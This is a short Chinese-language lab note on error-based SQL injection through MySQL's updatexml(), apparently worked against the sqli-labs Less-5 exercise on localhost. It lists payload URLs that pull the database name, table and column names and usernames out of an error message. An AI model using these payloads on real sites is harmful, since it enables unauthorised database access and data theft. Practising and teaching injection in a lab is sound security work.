updatexml() 函数的一般语法如下:
♾️ abnf 代码:updatexml(xml_target, xpath_expr, new_value)
xml_target: 表示要更新的 XML 列或变量。
xpath_expr: 表示要更新的 XML 节点的路径。
new_value: 表示要设置的新值。
查询数据库:
♾️ abnf 代码:http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
这里的0x7e就是~,所以数据库名就是 security
查询表名:
♾️ abnf 代码:http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
查询表的列名:
♾️ abnf 代码:http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
查询列的数据:
♾️ abnf 代码:http://localhost/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
concat:
♾️ abnf 代码:concat()函数接受多个参数,将这些参数的值按顺序连接在一起,并返回一个新的字符串作为结果。
group_concat(table_name)函数是一种聚合函数,用于将多行数据按指定方式连接成一个字符串,并返回该字符串作为结果。
distinct concat函数用于在查询结果中去除重复的行。如果在指定的列上存在重复的值,只会保留其中一行。
简单理解:
基本语句:udpatexml (1,xpath_expr,1)
每次使用concat都要用上(0x7e,( ),0x7e)
思路 先用group_concat把所有结果用逗号分隔,再用distinct concat去重,再用concat总和一下内容。